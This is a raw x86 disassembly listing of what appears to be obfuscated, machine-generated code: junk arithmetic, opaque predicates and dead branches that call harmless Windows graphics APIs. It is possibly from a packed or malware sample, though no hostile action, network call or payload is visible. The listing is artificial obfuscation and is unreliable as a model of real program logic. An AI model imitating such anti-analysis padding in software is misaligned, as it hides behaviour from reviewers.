mov dword [ebp + eax - 0x1b94], ecx
push 1
lea ecx, [ebp - 0x1590]
call fcn.004012f8
mov dword [eax], 9
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x113c]
mov dword [ebp - 0xdd0], eax
push 1
lea ecx, [ebp - 0x1590]
call fcn.004012f8
mov ecx, dword [ebp - 0xdd0]
mov dword [eax], ecx
cmp dword [ebp - 0xdd0], 0x5e42506e
jg 0x439bcd
mov dword [ebp - 0xaa0], 1
jmp 0x439bd4
and dword [ebp - 0xaa0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x113c]
imul eax, dword [ebp - 0xaa0]
sub eax, 8
push 4
pop ecx
imul ecx, ecx, 3
cmp eax, dword [ebp + ecx - 0x113c]
jge 0x439c05
mov dword [ebp - 0x1038], 1
jmp 0x439c0c
and dword [ebp - 0x1038], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x113c]
cmp dword [ebp - 0x1038], eax
jg 0x439c2c
mov dword [ebp - 0xaa8], 1
jmp 0x439c33
and dword [ebp - 0xaa8], 0
cmp dword [ebp - 0xaa8], 0x7854
jge 0x439c4b
mov dword [ebp - 0xdd8], 1
jmp 0x439c52
and dword [ebp - 0xdd8], 0
push 4
pop eax
shl eax, 1
mov esi, dword [ebp + eax - 0x113c]
push 3
lea ecx, [ebp - 0x700]
call fcn.004012f8
mov eax, dword [eax]
add eax, dword [ebp - 0xdd8]
cmp esi, eax
jge 0x439c83
mov dword [ebp - 0xab0], 1
jmp 0x439c8a
and dword [ebp - 0xab0], 0
imul eax, dword [ebp - 0xab0], 0x2b9c
mov dword [ebp - 0x44c], eax
mov eax, dword [ebp - 0x44c]
push 4
pop ecx
shl ecx, 1
add eax, dword [ebp + ecx - 0x113c]
cmp eax, 0x2658
jle 0x439cbf
mov dword [ebp - 0xf70], 1
jmp 0x439cc6
and dword [ebp - 0xf70], 0
imul eax, dword [ebp - 0xf70], 0xa273
cmp eax, 0x6ae6
jge 0x439ce3
mov dword [ebp - 0xab8], 1
jmp 0x439cea
and dword [ebp - 0xab8], 0
cmp dword [ebp - 0xab8], 0xd994ad4d
jae 0x439d02
mov dword [ebp - 0xde0], 1
jmp 0x439d09
and dword [ebp - 0xde0], 0
push 3
lea ecx, [ebp - 0x700]
call fcn.004012f8
mov ecx, dword [ebp - 0xde0]
add ecx, dword [eax]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1b94], ecx
lea ecx, [ebp - 0x1590]
call fcn.004017b5
lea ecx, [ebp - 0x700]
call fcn.004017b5
mov dword [ebp - 0x340], 0xac64a684
and dword [ebp - 0x16a4], 0
and dword [ebp - 0x16a0], 0
and dword [ebp - 0x169c], 0
and dword [ebp - 0x1698], 0
lea ecx, [ebp - 0x5e5]
call fcn.004017d1
push eax
lea eax, [ebp - 0x1694]
push eax
lea eax, [ebp - 0x16a4]
push eax
lea ecx, [ebp - 0x1e94]
call fcn.004017d4
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x142c]
call fcn.0040178f
mov dword [ebp - 0x6a8], 8
mov dword [ebp - 0x1218], 0xe708bee
mov dword [ebp - 0x1abc], 6
mov byte [ebp - 0x16a], 0
movzx eax, byte [ebp - 0x16a]
test eax, eax
je 0x439de2
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
mov dword [ebp - 0x340], 0
jmp 0x439dfb
mov eax, dword [ebp - 0x340]
dec eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0xfffffff7
je 0x43a014
mov dword [ebp - 0xde8], 0
mov dword [ebp - 0x504], 0
jmp 0x439e2b
mov eax, dword [ebp - 0x504]
inc eax
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x504], 1
jge 0x439e47
mov eax, dword [ebp - 0x504]
mov dword [ebp + eax*4 - 0x240], 0
jmp 0x439e1e
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x240], 3
jmp 0x439e75
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x240]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x240], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x240], 0
jl 0x43a00f
mov dword [ebp - 0x454], 0
jmp 0x439ea2
mov eax, dword [ebp - 0x454]
inc eax
mov dword [ebp - 0x454], eax
cmp dword [ebp - 0x454], 1
jge 0x439ebe
mov eax, dword [ebp - 0x454]
mov dword [ebp + eax*4 - 0x268], 0xf17e2f9d
jmp 0x439e95
push 1
lea ecx, [ebp - 0x142c]
call fcn.004012f8
cmp dword [eax], 0
je 0x439ee3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x268]
cmp dword [ebp - 0x6a8], eax
push 0
lea ecx, [ebp - 0x142c]
call fcn.004012f8
cmp dword [eax], 0
je 0x439f13
push 3
lea ecx, [ebp - 0x142c]
call fcn.004012f8
cmp dword [eax], 0
je 0x439f13
mov dword [ebp - 0xac0], 1
jmp 0x439f1a
and dword [ebp - 0xac0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x268]
cmp dword [ebp - 0xac0], eax
jg 0x439f40
or eax, 0xffffffff
jne 0x439f40
mov dword [ebp - 0x1064], 1
jmp 0x439f47
and dword [ebp - 0x1064], 0
mov eax, dword [ebp - 0x340]
add eax, dword [ebp - 0x1064]
jne 0x439f6e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x268], 0
jne 0x439f6e
and dword [ebp - 0xac8], 0
jmp 0x439f78
mov dword [ebp - 0xac8], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x240]
add eax, dword [ebp - 0xac8]
mov dword [ebp - 0xde8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x268]
cmp dword [ebp - 0xde8], eax
je 0x439fb2
mov dword [ebp - 0xad0], 1
jmp 0x439fb9
and dword [ebp - 0xad0], 0
mov eax, dword [ebp - 0xad0]
neg eax
add eax, dword [ebp - 0x6a8]
je 0x439fd7
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x268], 0
push 1
lea ecx, [ebp - 0x142c]
call fcn.004012f8
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x240]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x268]
add eax, dword [ebp - 0x1218]
mov dword [ebp - 0x6a8], eax
jmp 0x439e5a
jmp 0x439dee
lea ecx, [ebp - 0x142c]
call fcn.004017b5
mov dword [ebp - 0x2f0], 0xe8cff0ea
push 3
lea ecx, [ebp - 0x1ba4]
call fcn.004016e3
mov dword [ebp - 0x1ac4], 0
mov dword [ebp - 0x1acc], 0xfffffff6
mov dword [ebp - 0xf78], 0xffffffff
mov dword [ebp - 0x58c], 0
jmp 0x43a06d
mov eax, dword [ebp - 0x58c]
inc eax
mov dword [ebp - 0x58c], eax
cmp dword [ebp - 0x58c], 3
jge 0x43a08f
push dword [ebp - 0x58c]
lea ecx, [ebp - 0x1ba4]
call fcn.004012f8
mov dword [eax], 0xbbef7d65
jmp 0x43a060
mov dword [ebp - 0x2f0], 0
jmp 0x43a0a8
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 7
jle 0x43a0fb
mov dword [ebp - 0x45c], 0
jmp 0x43a0ca
mov eax, dword [ebp - 0x45c]
inc eax
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 3
jge 0x43a0e6
mov eax, dword [ebp - 0x45c]
mov dword [ebp + eax*4 - 0x1e0c], 0x9ef72d4e
jmp 0x43a0bd
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2f0]
mov dword [ebp + eax - 0x1e0c], ecx
jmp 0x43a09b
mov eax, dword [ebp - 0xf78]
inc eax
mov dword [ebp - 0xf78], eax
lea ecx, [ebp - 0x1ba4]
call fcn.004017b5
mov dword [ebp - 0x1d34], 0x61928c17
mov dword [ebp - 0x1d30], 0x61928c17
mov dword [ebp - 0x1d2c], 0x61928c17
mov dword [ebp - 0x1d28], 0x61928c17
mov dword [ebp - 0x188], 0x91a049fe
mov dword [ebp - 0x6d4], 0
mov dword [ebp - 0x188], 0
jmp 0x43a168
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 6
jg 0x43a313
mov dword [ebp - 0x650], 0x18d9dce
push 3
lea ecx, [ebp - 0x143c]
call fcn.004016e3
mov dword [ebp - 0x12bc], 0x716b5b38
mov dword [ebp - 0x1220], 0xfffffffb
mov dword [ebp - 0x50c], 0
jmp 0x43a1b9
mov eax, dword [ebp - 0x50c]
inc eax
mov dword [ebp - 0x50c], eax
cmp dword [ebp - 0x50c], 3
jge 0x43a1db
push dword [ebp - 0x50c]
lea ecx, [ebp - 0x143c]
call fcn.004012f8
mov dword [eax], 0x3e19f23e
jmp 0x43a1ac
cmp dword [ebp - 0x188], 0
jne 0x43a2b3
mov dword [ebp - 0x650], 1
mov esi, dword [ebp - 0x650]
push 1
lea ecx, [ebp - 0x143c]
call fcn.004012f8
cmp esi, dword [eax]
jne 0x43a215
mov dword [ebp - 0xad8], 1
jmp 0x43a21c
and dword [ebp - 0xad8], 0
push 1
lea ecx, [ebp - 0x143c]
call fcn.004012f8
mov ecx, dword [ebp - 0xad8]
mov dword [eax], ecx
cmp dword [ebp - 0x650], 0
je 0x43a258
push 1
lea ecx, [ebp - 0x143c]
call fcn.004012f8
cmp dword [eax], 0
je 0x43a258
mov dword [ebp - 0xdf0], 1
jmp 0x43a25f
and dword [ebp - 0xdf0], 0
mov eax, dword [ebp - 0x12bc]
cmp dword [ebp - 0xdf0], eax
jle 0x43a279
mov dword [ebp - 0xae0], 1
jmp 0x43a280
and dword [ebp - 0xae0], 0
mov eax, dword [ebp - 0x6d4]
cmp dword [ebp - 0xae0], eax
jle 0x43a29a
mov dword [ebp - 0x1044], 1
jmp 0x43a2a1
and dword [ebp - 0x1044], 0
mov eax, dword [ebp - 0x188]
cmp eax, dword [ebp - 0x1044]
jg 0x43a2b3
xor eax, eax
je 0x43a2c8
cmp dword [ebp - 0x6d4], 0
je 0x43a2c8
mov dword [ebp - 0xae8], 1
jmp 0x43a2cf
and dword [ebp - 0xae8], 0
imul eax, dword [ebp - 0xae8], 0xffffffff
add eax, dword [ebp - 0x1220]
cmp dword [ebp - 0x188], eax
jge 0x43a2f0
mov dword [ebp - 0xdf8], 1
jmp 0x43a2f7
and dword [ebp - 0xdf8], 0
mov eax, dword [ebp - 0xdf8]
mov dword [ebp - 0x6d4], eax
lea ecx, [ebp - 0x143c]
call fcn.004017b5
jmp 0x43a15b
mov byte [ebp - 0x20e], 0
movzx eax, byte [ebp - 0x20e]
test eax, eax
je 0x43a34b
push 0
push 0
push 0
push 0x1459
push 0x21ad
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
mov dword [ebp - 0x288], 0x3aa9ac70
mov dword [ebp - 0x88], 0x5cbcef05
mov dword [ebp - 0xb50], 0xd0122bf4
mov dword [ebp - 0xf98], 0xfffffffd
push 1
lea ecx, [ebp - 0x144c]
call fcn.004016e3
mov dword [ebp - 0x12d4], 0xfffffffa
mov dword [ebp - 0xa0], 0
jmp 0x43a3a3
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jge 0x43a3bc
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x10], 1
jmp 0x43a396
mov dword [ebp - 0xa0], 0
jmp 0x43a3d5
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jge 0x43a3f7
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x144c]
call fcn.004012f8
mov dword [eax], 0xfffffffd
jmp 0x43a3c8
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x1ad4], eax
cmp dword [ebp - 0x88], 2
jge 0x43a418
mov dword [ebp - 0xaf0], 1
jmp 0x43a41f
and dword [ebp - 0xaf0], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0xaf0], eax
jl 0x43a443
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x10], 0
je 0x43a443
and dword [ebp - 0xf80], 0
jmp 0x43a44d
mov dword [ebp - 0xf80], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xf80]
mov dword [ebp + eax - 0x10], ecx
mov eax, 0xde63
neg eax
imul eax, eax, 0xfff6
cmp eax, 0xfffffff6
jl 0x43a484
cmp dword [ebp - 0x88], 0
je 0x43a484
mov dword [ebp - 0xaf8], 1
jmp 0x43a48b
and dword [ebp - 0xaf8], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0xaf8], eax
jge 0x43a70d
mov dword [ebp - 0xfc], 0xffff
mov dword [ebp - 0x12c4], 0xf0c8679
mov dword [ebp - 0x88], 0
jmp 0x43a4ca
mov eax, dword [ebp - 0x88]
dec eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0xffffffec
jg 0x43a6f0
mov dword [ebp - 0x658], 0x3c095b67
mov dword [ebp - 0x1074], 1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x10], 0
jne 0x43a5b9
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10]
mov dword [ebp - 0x1cd8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10]
mov dword [ebp - 0x1ce0], eax
mov eax, dword [ebp - 0xfc]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x10]
cmp eax, 0xffffffff
jg 0x43a53e
mov dword [ebp - 0xe00], 1
jmp 0x43a545
and dword [ebp - 0xe00], 0
cmp dword [ebp - 0xe00], 7
jg 0x43a55a
mov dword [ebp - 0xb00], 1
jmp 0x43a561
and dword [ebp - 0xb00], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10]
cmp dword [ebp - 0xb00], eax
jl 0x43a57f
mov dword [ebp - 0x106c], 1
jmp 0x43a586
and dword [ebp - 0x106c], 0
cmp dword [ebp - 0x106c], 1
jl 0x43a59b
mov dword [ebp - 0xb08], 1
jmp 0x43a5a2
and dword [ebp - 0xb08], 0
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0xb08]
jl 0x43a5b9
and dword [ebp - 0xe08], 0
jmp 0x43a5c3
mov dword [ebp - 0xe08], 1
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0xe08], eax
jle 0x43a5dd
mov dword [ebp - 0xb10], 1
jmp 0x43a5e4
and dword [ebp - 0xb10], 0
mov eax, dword [ebp - 0xb10]
mov dword [ebp - 0x658], eax
mov eax, dword [ebp - 0xfc]
add eax, 0xb
mov dword [ebp - 0x658], eax
mov eax, dword [ebp - 0x658]
shl eax, 2
imul eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0xfc]
jg 0x43a623
mov dword [ebp - 0xf88], 1
jmp 0x43a62a
and dword [ebp - 0xf88], 0
mov eax, dword [ebp - 0xfc]
add eax, dword [ebp - 0xf88]
cmp eax, 0xfffffff9
ja 0x43a651
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x10], 0
jne 0x43a651
and dword [ebp - 0xb18], 0
jmp 0x43a65b
mov dword [ebp - 0xb18], 1
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0xb18], eax
jl 0x43a675
mov dword [ebp - 0xe10], 1
jmp 0x43a67c
and dword [ebp - 0xe10], 0
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0xe10]
jne 0x43a696
mov dword [ebp - 0xb20], 1
jmp 0x43a69d
and dword [ebp - 0xb20], 0
mov eax, dword [ebp - 0x1074]
cmp dword [ebp - 0xb20], eax
jne 0x43a6b7
mov dword [ebp - 0xb28], 1
jmp 0x43a6be
and dword [ebp - 0xb28], 0
mov eax, dword [ebp - 0x1074]
cmp dword [ebp - 0xb28], eax
jne 0x43a6d8
mov dword [ebp - 0xe18], 1
jmp 0x43a6df
and dword [ebp - 0xe18], 0
mov eax, dword [ebp - 0xe18]
mov dword [ebp - 0x12c4], eax
jmp 0x43a4bd
mov byte [ebp - 0x171], 0
movzx eax, byte [ebp - 0x171]
test eax, eax
je 0x43a708
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
jmp 0x43aab6
mov dword [ebp - 0xb30], 0xcd44262c
mov dword [ebp - 0x294], 0x8cacf640
mov dword [ebp - 0x12cc], 0xddad4dbf
mov dword [ebp - 0xcc], 0
jmp 0x43a744
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 2
jge 0x43a760
mov eax, dword [ebp - 0xcc]
mov dword [ebp + eax*4 - 0x5bc], 0xfffffffc
jmp 0x43a737
mov dword [ebp - 0xcc], 0
jmp 0x43a779
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 1
jge 0x43a795
mov eax, dword [ebp - 0xcc]
mov dword [ebp + eax*4 - 0xb58], 0x2083b01f
jmp 0x43a76c
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x5bc], 0
jne 0x43a84f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x5bc], 0
jne 0x43a7c6
xor eax, eax
jne 0x43a7c6
and dword [ebp - 0x1228], 0
jmp 0x43a7d0
mov dword [ebp - 0x1228], 1
mov dword [ebp - 0xb30], 0xfffffff8
mov eax, dword [ebp - 0xb30]
mov dword [ebp - 0x1ce8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10]
mov dword [ebp - 0x1cf0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10]
mov dword [ebp - 0x88], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x294]
cmp dword [ebp + eax - 0x10], ecx
jle 0x43a824
mov dword [ebp - 0xf90], 1
jmp 0x43a82b
and dword [ebp - 0xf90], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5bc]
add eax, dword [ebp - 0xf90]
cmp eax, dword [ebp - 0x294]
jle 0x43a84f
and dword [ebp - 0xb38], 0
jmp 0x43a859
mov dword [ebp - 0xb38], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10]
cmp eax, dword [ebp - 0xb38]
jl 0x43a877
mov dword [ebp - 0xe20], 1
jmp 0x43a87e
and dword [ebp - 0xe20], 0
mov eax, dword [ebp - 0xe20]
sub eax, 6
cmp eax, 0xb5122599
jb 0x43a89a
mov dword [ebp - 0xb40], 1
jmp 0x43a8a1
and dword [ebp - 0xb40], 0
mov eax, dword [ebp - 0x294]
imul eax, dword [ebp - 0xb40]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x5bc]
je 0x43a8c9
mov dword [ebp - 0x1050], 1
jmp 0x43a8d0
and dword [ebp - 0x1050], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10]
cmp dword [ebp - 0x1050], eax
jge 0x43a8ee
mov dword [ebp - 0xb48], 1
jmp 0x43a8f5
and dword [ebp - 0xb48], 0
mov eax, dword [ebp - 0xb48]
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5bc]
mov dword [ebp - 0x12cc], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x10], 0
xor eax, eax
je 0x43a942
mov eax, 0xeb87
test eax, eax
je 0x43a942
mov dword [ebp - 0xe28], 1
jmp 0x43a949
and dword [ebp - 0xe28], 0
mov eax, dword [ebp - 0xe28]
mov dword [ebp - 0xb50], eax
mov eax, dword [ebp - 0xb50]
mov dword [ebp - 0xf98], eax
mov eax, dword [ebp - 0xf98]
mov dword [ebp - 0x1230], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1230]
mov dword [ebp + eax - 0xb58], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5bc]
mov dword [ebp - 0x1cf8], eax
push 3
pop eax
test eax, eax
jne 0x43a9b3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb58], 0
jne 0x43a9b3
mov dword [ebp - 0xe30], 1
push 0
lea ecx, [ebp - 0x144c]
call fcn.004012f8
mov ecx, dword [ebp - 0xe30]
cmp ecx, dword [eax]
jg 0x43a9e0
lea ecx, [ebp - 0x144c]
call fcn.004017b5
push 2
lea ecx, [ebp - 0x1bb4]
call fcn.004016e3
mov dword [ebp - 0x564], 1
mov dword [ebp - 0x464], 0
jmp 0x43aaf1
mov eax, dword [ebp - 0x464]
inc eax
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 2
jge 0x43ab13
push dword [ebp - 0x464]
lea ecx, [ebp - 0x1bb4]
call fcn.004012f8
mov dword [eax], 7
jmp 0x43aae4
mov dword [ebp - 0x564], 1
jmp 0x43ab2c
mov eax, dword [ebp - 0x564]
dec eax
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 0
jl 0x43ab5d
mov byte [ebp - 0x1f7], 0
movzx eax, byte [ebp - 0x1f7]
test eax, eax
je 0x43ab5b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
jmp 0x43ab1f
lea ecx, [ebp - 0x1bb4]
call fcn.004017b5
mov dword [ebp - 0x288], 0
jmp 0x43ab81
cmp dword [ebp - 0x288], 3
jg 0x43ba44
mov dword [ebp - 0x474], 0x80849f84
mov dword [ebp - 0x40], 1
mov dword [ebp - 4], 1
mov dword [ebp - 0x6b0], 0x96559653
mov dword [ebp - 0x111c], 0x2a77b69c
mov dword [ebp - 0x1118], 0x2a77b69c
mov dword [ebp - 0x1114], 0x2a77b69c
mov dword [ebp - 0x1110], 0x2a77b69c
mov dword [ebp - 0x40], 0xffffffe6
jmp 0x43abe8
cmp dword [ebp - 0x40], 0xfffffff6
jne 0x43adc1
mov dword [ebp - 0x524], 0xec2e0cf5
mov dword [ebp - 0x524], 0
jmp 0x43ba67
cmp dword [ebp - 0x524], 0x1c
jne 0x43bb51